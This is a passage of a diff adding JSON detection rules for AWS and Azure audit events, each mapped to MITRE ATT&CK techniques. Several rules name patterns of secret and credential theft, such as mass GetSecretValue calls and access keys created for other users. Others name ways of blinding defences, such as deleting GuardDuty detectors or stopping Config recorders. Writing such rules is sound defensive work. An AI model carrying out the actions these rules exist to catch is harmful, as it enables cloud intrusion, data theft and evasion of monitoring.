+ "slug": "aws-iam-policy-version-set-default-broad"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-046",
+ "match_when": {
+ "event_name": "DeleteUserPermissionsBoundary"
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "AWS IAM Permissions Boundary Removed",
+ "product": "aws",
+ "service": "iam",
+ "severity": "high",
+ "slug": "aws-iam-permissions-boundary-removed"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-047",
+ "match_when": {
+ "event_name_in": [
+ "UpdateSAMLProvider",
+ "CreateSAMLProvider"
+ ]
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "AWS IAM SAML Provider Updated",
+ "product": "aws",
+ "service": "iam",
+ "severity": "high",
+ "slug": "aws-iam-saml-provider-modified"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-048",
+ "match_when": {
+ "event_name": "CreateRole",
+ "trust_principal_endswith": ":root",
+ "trust_principal_external": true
+ },
+ "mitre": [
+ "T1199"
+ ],
+ "name": "AWS IAM Role Trusts Foreign Account Root",
+ "product": "aws",
+ "service": "iam",
+ "severity": "high",
+ "slug": "aws-iam-cross-account-role-broad-trust"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-049",
+ "match_when": {
+ "event_name": "CreateRole",
+ "trust_principal_in": [
+ "anonymous",
+ "AllUsers"
+ ]
+ },
+ "mitre": [
+ "T1199"
+ ],
+ "name": "AWS IAM Role Trusts Anonymous Federation",
+ "product": "aws",
+ "service": "iam",
+ "severity": "critical",
+ "slug": "aws-iam-anonymous-role-trust"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-050",
+ "match_when": {
+ "event_name": "CreateUser",
+ "events_per_minute_gt": 10
+ },
+ "mitre": [
+ "T1136.003"
+ ],
+ "name": "AWS IAM CreateUser Burst",
+ "product": "aws",
+ "service": "iam",
+ "severity": "medium",
+ "slug": "aws-iam-create-user-burst"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-051",
+ "match_when": {
+ "event_name_in": [
+ "GetAccountSummary",
+ "GetAccountAuthorizationDetails"
+ ],
+ "events_per_minute_gt": 5
+ },
+ "mitre": [
+ "T1087.004"
+ ],
+ "name": "AWS IAM GetAccountSummary Recon Burst",
+ "product": "aws",
+ "service": "iam",
+ "severity": "low",
+ "slug": "aws-iam-account-summary-recon"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-052",
+ "match_when": {
+ "distinct_users_per_minute_gt": 20,
+ "event_name": "ListAccessKeys"
+ },
+ "mitre": [
+ "T1087.004"
+ ],
+ "name": "AWS IAM ListAccessKeys Recon Across Users",
+ "product": "aws",
+ "service": "iam",
+ "severity": "medium",
+ "slug": "aws-iam-list-keys-recon"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-053",
+ "match_when": {
+ "event_name": "CreateLoginProfile",
+ "user_existed": true
+ },
+ "mitre": [
+ "T1098.001"
+ ],
+ "name": "AWS IAM Login Profile Added To Existing User",
+ "product": "aws",
+ "service": "iam",
+ "severity": "high",
+ "slug": "aws-iam-login-profile-created-existing-user"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-054",
+ "match_when": {
+ "actor_eq_target": false,
+ "event_name": "CreateAccessKey"
+ },
+ "mitre": [
+ "T1098.001"
+ ],
+ "name": "AWS IAM Access Key Created For Another User",
+ "product": "aws",
+ "service": "iam",
+ "severity": "high",
+ "slug": "aws-iam-access-key-created-other-user"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-055",
+ "match_when": {
+ "event_name_in": [
+ "CreatePolicy",
+ "CreatePolicyVersion"
+ ],
+ "policy_uses_notaction": true
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "AWS IAM Policy Created With NotAction Wildcard",
+ "product": "aws",
+ "service": "iam",
+ "severity": "high",
+ "slug": "aws-iam-policy-with-notaction"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-056",
+ "match_when": {
+ "block_public_acls": false,
+ "event_name_in": [
+ "PutBucketPublicAccessBlock",
+ "DeletePublicAccessBlock"
+ ]
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "AWS S3 Block Public Access Disabled",
+ "product": "aws",
+ "service": "s3",
+ "severity": "critical",
+ "slug": "aws-s3-block-public-access-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-057",
+ "match_when": {
+ "event_name": "PutBucketPolicy",
+ "policy_principal": "*"
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "AWS S3 Bucket Policy Allows Principal '*'",
+ "product": "aws",
+ "service": "s3",
+ "severity": "critical",
+ "slug": "aws-s3-bucket-policy-allows-anonymous"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-058",
+ "match_when": {
+ "destination_account_external": true,
+ "event_name": "PutBucketReplication"
+ },
+ "mitre": [
+ "T1537"
+ ],
+ "name": "AWS S3 Replication Configured To External Account",
+ "product": "aws",
+ "service": "s3",
+ "severity": "high",
+ "slug": "aws-s3-replication-to-foreign-account"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-059",
+ "match_when": {
+ "event_name": "PutBucketLogging",
+ "logging_enabled": false
+ },
+ "mitre": [
+ "T1562.008"
+ ],
+ "name": "AWS S3 Server Access Logging Disabled",
+ "product": "aws",
+ "service": "s3",
+ "severity": "medium",
+ "slug": "aws-s3-server-access-logging-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-060",
+ "match_when": {
+ "event_name_in": [
+ "PutObjectLockConfiguration",
+ "PutObjectRetention"
+ ],
+ "retention_disabled": true
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "AWS S3 Object Lock / Retention Disabled",
+ "product": "aws",
+ "service": "s3",
+ "severity": "high",
+ "slug": "aws-s3-object-lock-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-061",
+ "match_when": {
+ "event_name": "DeleteObject",
+ "objects_per_minute_gt": 1000
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "AWS S3 Mass DeleteObject Burst",
+ "product": "aws",
+ "service": "s3",
+ "severity": "critical",
+ "slug": "aws-s3-mass-deleteobject"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-062",
+ "match_when": {
+ "event_name": "ModifySnapshotAttribute",
+ "shared_account_external": true
+ },
+ "mitre": [
+ "T1537"
+ ],
+ "name": "AWS EBS Snapshot Shared With Foreign Account",
+ "product": "aws",
+ "service": "ec2",
+ "severity": "high",
+ "slug": "aws-ebs-snapshot-shared-foreign"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-063",
+ "match_when": {
+ "ami_made_public": true,
+ "event_name": "ModifyImageAttribute"
+ },
+ "mitre": [
+ "T1537"
+ ],
+ "name": "AWS AMI Shared Publicly",
+ "product": "aws",
+ "service": "ec2",
+ "severity": "high",
+ "slug": "aws-ami-shared-public"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-064",
+ "match_when": {
+ "event_name": "RunInstances",
+ "imds_v1_allowed": true
+ },
+ "mitre": [
+ "T1552.005"
+ ],
+ "name": "AWS EC2 Instance Launched With IMDSv1 Allowed",
+ "product": "aws",
+ "service": "ec2",
+ "severity": "medium",
+ "slug": "aws-ec2-imds-v1-allowed"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-065",
+ "match_when": {
+ "event_name": "ImportKeyPair"
+ },
+ "mitre": [
+ "T1098.004"
+ ],
+ "name": "AWS EC2 Key Pair Imported",
+ "product": "aws",
+ "service": "ec2",
+ "severity": "medium",
+ "slug": "aws-ec2-key-pair-imported"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-066",
+ "match_when": {
+ "attribute": "disableApiStop",
+ "event_name": "ModifyInstanceAttribute",
+ "value": false
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "AWS EC2 DisableApiStop Protection Revoked",
+ "product": "aws",
+ "service": "ec2",
+ "severity": "medium",
+ "slug": "aws-ec2-disable-api-stop-revoked"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-067",
+ "match_when": {
+ "attribute": "userData",
+ "event_name": "ModifyInstanceAttribute",
+ "instance_state": "running"
+ },
+ "mitre": [
+ "T1059.001",
+ "T1059.004"
+ ],
+ "name": "AWS EC2 UserData Modified On Running Instance",
+ "product": "aws",
+ "service": "ec2",
+ "severity": "high",
+ "slug": "aws-ec2-userdata-modified-running"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-068",
+ "match_when": {
+ "destination_cidr": "0.0.0.0/0",
+ "event_name": "CreateRoute",
+ "target_type": "internet-gateway"
+ },
+ "mitre": [
+ "T1090"
+ ],
+ "name": "AWS VPC Default Route Pointed At New IGW",
+ "product": "aws",
+ "service": "ec2",
+ "severity": "high",
+ "slug": "aws-vpc-route-to-internet-gateway"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-069",
+ "match_when": {
+ "cidr": "0.0.0.0/0",
+ "event_name": "AuthorizeSecurityGroupIngress",
+ "from_port": 22,
+ "ip_protocol": "tcp",
+ "to_port": 22
+ },
+ "mitre": [
+ "T1133"
+ ],
+ "name": "AWS SG Rule Allows SSH From 0.0.0.0/0",
+ "product": "aws",
+ "service": "ec2",
+ "severity": "high",
+ "slug": "aws-security-group-rule-add-22-from-anywhere"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-070",
+ "match_when": {
+ "cidr": "0.0.0.0/0",
+ "event_name": "AuthorizeSecurityGroupIngress",
+ "from_port": 3389,
+ "ip_protocol": "tcp",
+ "to_port": 3389
+ },
+ "mitre": [
+ "T1133"
+ ],
+ "name": "AWS SG Rule Allows RDP From 0.0.0.0/0",
+ "product": "aws",
+ "service": "ec2",
+ "severity": "high",
+ "slug": "aws-security-group-rule-add-3389-from-anywhere"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-071",
+ "match_when": {
+ "event_name": "CreateVpcPeeringConnection",
+ "peer_account_external": true
+ },
+ "mitre": [
+ "T1199"
+ ],
+ "name": "AWS VPC Peering Connection Across Organizations",
+ "product": "aws",
+ "service": "ec2",
+ "severity": "high",
+ "slug": "aws-vpc-peering-cross-org"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-072",
+ "match_when": {
+ "event_name_in": [
+ "CreateDBInstance",
+ "ModifyDBInstance"
+ ],
+ "publicly_accessible": true
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "AWS RDS Instance Modified To Publicly Accessible",
+ "product": "aws",
+ "service": "rds",
+ "severity": "critical",
+ "slug": "aws-rds-publicly-accessible-true"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-073",
+ "match_when": {
+ "event_name": "ModifyDBSnapshotAttribute",
+ "shared_account_external": true
+ },
+ "mitre": [
+ "T1537"
+ ],
+ "name": "AWS RDS Snapshot Shared With Other Account",
+ "product": "aws",
+ "service": "rds",
+ "severity": "high",
+ "slug": "aws-rds-snapshot-shared"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-074",
+ "match_when": {
+ "event_name": "ModifyDBInstance",
+ "iam_database_authentication_enabled": false
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "AWS RDS IAM Authentication Disabled",
+ "product": "aws",
+ "service": "rds",
+ "severity": "medium",
+ "slug": "aws-rds-iam-auth-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-075",
+ "match_when": {
+ "event_name": "ModifyDBInstance",
+ "master_user_password_changed": true
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "AWS RDS Master User Password Reset",
+ "product": "aws",
+ "service": "rds",
+ "severity": "high",
+ "slug": "aws-rds-master-password-reset"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-076",
+ "match_when": {
+ "deletion_protection": false,
+ "event_name": "ModifyDBInstance"
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "AWS RDS Deletion Protection Disabled",
+ "product": "aws",
+ "service": "rds",
+ "severity": "medium",
+ "slug": "aws-rds-deletion-protection-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-077",
+ "match_when": {
+ "event_name": "AddPermission",
+ "principal": "*"
+ },
+ "mitre": [
+ "T1190"
+ ],
+ "name": "AWS Lambda AddPermission Allows Principal '*'",
+ "product": "aws",
+ "service": "lambda",
+ "severity": "critical",
+ "slug": "aws-lambda-add-permission-anonymous"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-078",
+ "match_when": {
+ "env_secret_pattern": true,
+ "event_name_in": [
+ "CreateFunction",
+ "UpdateFunctionConfiguration"
+ ]
+ },
+ "mitre": [
+ "T1552.001"
+ ],
+ "name": "AWS Lambda Env Var Contains Secret Pattern",
+ "product": "aws",
+ "service": "lambda",
+ "severity": "high",
+ "slug": "aws-lambda-env-var-secret-pattern"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-079",
+ "match_when": {
+ "auth_type": "NONE",
+ "event_name": "CreateFunctionUrlConfig"
+ },
+ "mitre": [
+ "T1190"
+ ],
+ "name": "AWS Lambda Function URL With AuthType=NONE",
+ "product": "aws",
+ "service": "lambda",
+ "severity": "high",
+ "slug": "aws-lambda-create-url-public"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-080",
+ "match_when": {
+ "event_name": "CreateFunction",
+ "runtime_in": [
+ "nodejs10.x",
+ "nodejs12.x",
+ "python2.7",
+ "python3.6"
+ ]
+ },
+ "mitre": [
+ "T1610"
+ ],
+ "name": "AWS Lambda Function Uses Deprecated Runtime",
+ "product": "aws",
+ "service": "lambda",
+ "severity": "medium",
+ "slug": "aws-lambda-runtime-deprecated"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-081",
+ "match_when": {
+ "endpoint_public_access": true,
+ "event_name_in": [
+ "CreateCluster",
+ "UpdateClusterConfig"
+ ],
+ "public_access_cidrs_contains": "0.0.0.0/0"
+ },
+ "mitre": [
+ "T1133"
+ ],
+ "name": "AWS EKS Cluster API Endpoint Made Public",
+ "product": "aws",
+ "service": "eks",
+ "severity": "critical",
+ "slug": "aws-eks-cluster-public-endpoint"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-082",
+ "match_when": {
+ "event_name": "CreateFargateProfile",
+ "namespace": "default"
+ },
+ "mitre": [
+ "T1610"
+ ],
+ "name": "AWS EKS Fargate Profile Targets default Namespace",
+ "product": "aws",
+ "service": "eks",
+ "severity": "medium",
+ "slug": "aws-eks-fargate-profile-default-ns"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-083",
+ "match_when": {
+ "event_name": "RegisterTaskDefinition",
+ "privileged": true
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "AWS ECS Task Definition With privileged=true",
+ "product": "aws",
+ "service": "ecs",
+ "severity": "high",
+ "slug": "aws-ecs-task-privileged"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-084",
+ "match_when": {
+ "enable_execute_command": true,
+ "event_name_in": [
+ "CreateService",
+ "UpdateService"
+ ]
+ },
+ "mitre": [
+ "T1059"
+ ],
+ "name": "AWS ECS ExecuteCommand Enabled On Service",
+ "product": "aws",
+ "service": "ecs",
+ "severity": "medium",
+ "slug": "aws-ecs-execute-command-enabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-085",
+ "match_when": {
+ "event_name": "SetRepositoryPolicy",
+ "policy_principal": "*"
+ },
+ "mitre": [
+ "T1525"
+ ],
+ "name": "AWS ECR Repository Policy Public",
+ "product": "aws",
+ "service": "ecr",
+ "severity": "high",
+ "slug": "aws-ecr-repo-publicly-readable"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-086",
+ "match_when": {
+ "event_name": "PutImageScanningConfiguration",
+ "scan_on_push": false
+ },
+ "mitre": [
+ "T1610"
+ ],
+ "name": "AWS ECR Image Scan-On-Push Disabled",
+ "product": "aws",
+ "service": "ecr",
+ "severity": "low",
+ "slug": "aws-ecr-image-scan-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-087",
+ "match_when": {
+ "event_name": "PutKeyPolicy",
+ "policy_principal": "*"
+ },
+ "mitre": [
+ "T1552.001"
+ ],
+ "name": "AWS KMS Key Policy Allows Principal '*'",
+ "product": "aws",
+ "service": "kms",
+ "severity": "critical",
+ "slug": "aws-kms-key-policy-anonymous"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-088",
+ "match_when": {
+ "event_name": "ScheduleKeyDeletion"
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "AWS KMS ScheduleKeyDeletion Used",
+ "product": "aws",
+ "service": "kms",
+ "severity": "high",
+ "slug": "aws-kms-schedule-key-deletion"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-089",
+ "match_when": {
+ "distinct_secrets_per_minute_gt": 30,
+ "event_name": "GetSecretValue"
+ },
+ "mitre": [
+ "T1552.001"
+ ],
+ "name": "AWS SecretsManager Mass GetSecretValue",
+ "product": "aws",
+ "service": "secretsmanager",
+ "severity": "high",
+ "slug": "aws-secretsmanager-mass-getsecret"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-090",
+ "match_when": {
+ "event_name": "PutParameter",
+ "key_id": null,
+ "type": "SecureString"
+ },
+ "mitre": [
+ "T1552.001"
+ ],
+ "name": "AWS SSM SecureString Parameter Created Without KMS",
+ "product": "aws",
+ "service": "ssm",
+ "severity": "medium",
+ "slug": "aws-ssm-parameter-secure-no-kms"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-091",
+ "match_when": {
+ "event_name": "StopConfigurationRecorder"
+ },
+ "mitre": [
+ "T1562.008"
+ ],
+ "name": "AWS Config Recorder Stopped",
+ "product": "aws",
+ "service": "config",
+ "severity": "critical",
+ "slug": "aws-config-recorder-stopped"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-092",
+ "match_when": {
+ "event_name": "DeleteDetector"
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "AWS GuardDuty Detector Deleted",
+ "product": "aws",
+ "service": "guardduty",
+ "severity": "critical",
+ "slug": "aws-guardduty-detector-deleted"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-093",
+ "match_when": {
+ "event_name": "DisableSecurityHub"
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "AWS SecurityHub DisableSecurityHub",
+ "product": "aws",
+ "service": "securityhub",
+ "severity": "critical",
+ "slug": "aws-securityhub-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-094",
+ "match_when": {
+ "event_name": "PutEventSelectors",
+ "selector_includes_management_events": false
+ },
+ "mitre": [
+ "T1562.008"
+ ],
+ "name": "AWS CloudTrail Event Selector Narrowed",
+ "product": "aws",
+ "service": "cloudtrail",
+ "severity": "high",
+ "slug": "aws-cloudtrail-event-selector-narrowed"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-095",
+ "match_when": {
+ "event_name_in": [
+ "RemoveAccountFromOrganization",
+ "LeaveOrganization"
+ ]
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "AWS Organizations Account Removed",
+ "product": "aws",
+ "service": "organizations",
+ "severity": "high",
+ "slug": "aws-organizations-account-removed"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-096",
+ "match_when": {
+ "event_name": "TransferDomainToAnotherAwsAccount"
+ },
+ "mitre": [
+ "T1583.001"
+ ],
+ "name": "AWS Route53 Domain Transfer Out",
+ "product": "aws",
+ "service": "route53domains",
+ "severity": "high",
+ "slug": "aws-route53-domain-transfer-out"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-097",
+ "match_when": {
+ "distribution_age_days_gt": 30,
+ "event_name": "UpdateDistribution",
+ "origin_changed": true
+ },
+ "mitre": [
+ "T1565.002"
+ ],
+ "name": "AWS CloudFront Origin Changed Mid-Service",
+ "product": "aws",
+ "service": "cloudfront",
+ "severity": "high",
+ "slug": "aws-cloudfront-origin-changed"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-098",
+ "match_when": {
+ "event_name": "DisassociateWebACL"
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "AWS WAF Web ACL Disassociated",
+ "product": "aws",
+ "service": "wafv2",
+ "severity": "high",
+ "slug": "aws-waf-web-acl-disassociated"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-099",
+ "match_when": {
+ "event_name": "SetTopicAttributes",
+ "policy_principal": "*"
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "AWS SNS Topic Policy Allows Anonymous Subscribe",
+ "product": "aws",
+ "service": "sns",
+ "severity": "medium",
+ "slug": "aws-sns-topic-public-subscribe"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-100",
+ "match_when": {
+ "event_name": "SetQueueAttributes",
+ "policy_principal": "*"
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "AWS SQS Queue Policy Allows Principal '*'",
+ "product": "aws",
+ "service": "sqs",
+ "severity": "medium",
+ "slug": "aws-sqs-queue-public-policy"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-101",
+ "match_when": {
+ "consent_type": "AllPrincipals",
+ "operation_name": "Consent to application"
+ },
+ "mitre": [
+ "T1528"
+ ],
+ "name": "Entra ID Admin Consent Granted To App",
+ "product": "azure",
+ "service": "entra-audit",
+ "severity": "high",
+ "slug": "azure-ad-app-consent-grant"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-102",
+ "match_when": {
+ "is_business_hours": false,
+ "operation_name": "Add service principal credentials"
+ },
+ "mitre": [
+ "T1098.001"
+ ],
+ "name": "Entra ID App Credential Added Outside Business Hours",
+ "product": "azure",
+ "service": "entra-audit",
+ "severity": "high",
+ "slug": "azure-ad-app-credential-added-out-of-hours"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-103",
+ "match_when": {
+ "operation_name": "Update policy",
+ "policy_excludes_priv_user": true
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Entra ID Conditional Access Rule Excludes Privileged User",
+ "product": "azure",
+ "service": "entra-audit",
+ "severity": "high",
+ "slug": "azure-ad-conditional-access-bypass-rule"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-104",
+ "match_when": {
+ "method_removed": true,
+ "operation_name_in": [
+ "User registered security info",
+ "User deleted security info"
+ ],
+ "target_user_priv": true
+ },
+ "mitre": [
+ "T1556.006"
+ ],
+ "name": "Entra ID MFA Method Removed From Privileged User",
+ "product": "azure",
+ "service": "entra-audit",
+ "severity": "critical",
+ "slug": "azure-ad-mfa-method-removed-priv"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-105",
+ "match_when": {
+ "actor_eq_target": true,
+ "operation_name": "Add eligible member to role"
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "Entra ID PIM Role Eligibility Self-Assigned",
+ "product": "azure",
+ "service": "entra-audit",
+ "severity": "high",
+ "slug": "azure-ad-pim-role-eligibility-self-assigned"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-106",
+ "match_when": {
+ "operation_name": "Update application",
+ "permissions_added_contains_any": [
+ "Directory.ReadWrite.All",
+ "RoleManagement.ReadWrite.Directory"
+ ]
+ },
+ "mitre": [
+ "T1098.003"
+ ],
+ "name": "Entra ID App Granted Directory.ReadWrite.All",
+ "product": "azure",
+ "service": "entra-audit",
+ "severity": "critical",
+ "slug": "azure-ad-app-permissions-graph-read-write-all"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-107",
+ "match_when": {
+ "events_per_minute_gt": 25,
+ "operation_name": "Add user"
+ },
+ "mitre": [
+ "T1136.003"
+ ],
+ "name": "Entra ID Bulk User Creation Burst",
+ "product": "azure",
+ "service": "entra-audit",
+ "severity": "medium",
+ "slug": "azure-ad-bulk-user-creation"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-108",
+ "match_when": {
+ "operation_name": "Delete named location"
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Entra ID Trusted Named Location Removed",
+ "product": "azure",
+ "service": "entra-audit",
+ "severity": "medium",
+ "slug": "azure-ad-named-location-removed"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-109",
+ "match_when": {
+ "block_legacy_auth": false,
+ "operation_name": "Update policy"
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Entra ID Legacy Authentication Re-Enabled",
+ "product": "azure",
+ "service": "entra-audit",
+ "severity": "high",
+ "slug": "azure-ad-legacy-auth-allowed"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-110",
+ "match_when": {
+ "events_per_minute_gt": 50,
+ "operation_name": "Change user license"
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "Entra ID Bulk License Assignment",
+ "product": "azure",
+ "service": "entra-audit",
+ "severity": "low",
+ "slug": "azure-ad-bulk-license-assignment"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-111",
+ "match_when": {
+ "admin_consent_workflow": false,
+ "operation_name": "Set Company Information"
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Entra ID Admin Consent Workflow Disabled",
+ "product": "azure",
+ "service": "entra-audit",
+ "severity": "medium",
+ "slug": "azure-ad-admin-consent-workflow-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-112",
+ "match_when": {
+ "operation_name_in": [
+ "Update password reset policy",
+ "Disable password reset policy"
+ ]
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Entra ID SSPR Policy Weakened",
+ "product": "azure",
+ "service": "entra-audit",
+ "severity": "medium",
+ "slug": "azure-ad-self-service-pwd-reset-policy-modified"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-113",
+ "match_when": {
+ "operation_name_endswith": "policyAssignments/delete",
+ "scope_root": true
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "Azure Policy Assignment Deleted",
+ "product": "azure",
+ "service": "activity",
+ "severity": "high",
+ "slug": "azure-arm-policy-assignment-deleted"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-114",
+ "match_when": {
+ "operation_name_endswith": "blueprintAssignments/delete"
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "Azure Blueprint Assignment Removed",
+ "product": "azure",
+ "service": "activity",
+ "severity": "medium",
+ "slug": "azure-arm-blueprint-deleted"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-115",
+ "match_when": {
+ "operation_name_endswith": "roleAssignments/write",
+ "role": "Owner",
+ "scope_root": true
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "Azure Role Assignment Owner At Tenant Scope",
+ "product": "azure",
+ "service": "activity",
+ "severity": "critical",
+ "slug": "azure-arm-role-assignment-owner-tenant"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-116",
+ "match_when": {
+ "events_per_minute_gt": 10,
+ "operation_name_endswith": "locks/delete"
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "Azure ResourceGroup Locks Removed In Bulk",
+ "product": "azure",
+ "service": "activity",
+ "severity": "high",
+ "slug": "azure-arm-locks-removed-bulk"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-117",
+ "match_when": {
+ "operation_name_endswith": "diagnosticSettings/delete"
+ },
+ "mitre": [
+ "T1562.008"
+ ],
+ "name": "Azure Diagnostic Settings Deleted",
+ "product": "azure",
+ "service": "activity",
+ "severity": "critical",
+ "slug": "azure-arm-diagnostic-settings-deleted"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-118",
+ "match_when": {
+ "events_per_minute_gt": 200,
+ "operation_name_endswith_any": [
+ "/write",
+ "/delete"
+ ]
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "Azure Mass Resource Modify Burst",
+ "product": "azure",
+ "service": "activity",
+ "severity": "medium",
+ "slug": "azure-arm-mass-resource-modify"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-119",
+ "match_when": {
+ "operation_name_endswith": "managementGroups/delete"
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "Azure Management Group Removed",
+ "product": "azure",
+ "service": "activity",
+ "severity": "high",
+ "slug": "azure-arm-management-group-removed"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-120",
+ "match_when": {
+ "operation_name_contains": "subscriptions/transfer"
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "Azure Subscription Transferred",
+ "product": "azure",
+ "service": "activity",
+ "severity": "critical",
+ "slug": "azure-arm-subscription-transferred"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-121",
+ "match_when": {
+ "operation_name_endswith": "blobServices/containers/write",
+ "public_access_in": [
+ "Container",
+ "Blob"
+ ]
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "Azure Storage Container Allows Anonymous Read",
+ "product": "azure",
+ "service": "activity",
+ "severity": "critical",
+ "slug": "azure-storage-blob-anonymous-read"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-122",
+ "match_when": {
+ "default_action": "Allow",
+ "operation_name_endswith": "storageAccounts/write"
+ },
+ "mitre": [
+ "T1133"
+ ],
+ "name": "Azure Storage Account Firewall Disabled",
+ "product": "azure",
+ "service": "activity",
+ "severity": "high",
+ "slug": "azure-storage-account-firewall-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-123",
+ "match_when": {
+ "operation_name_contains": "ListKeys",
+ "ttl_days_gt": 365
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Azure Storage Shared Access Signature Generated With Long TTL",
+ "product": "azure",
+ "service": "activity",
+ "severity": "medium",
+ "slug": "azure-storage-shared-key-issued"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-124",
+ "match_when": {
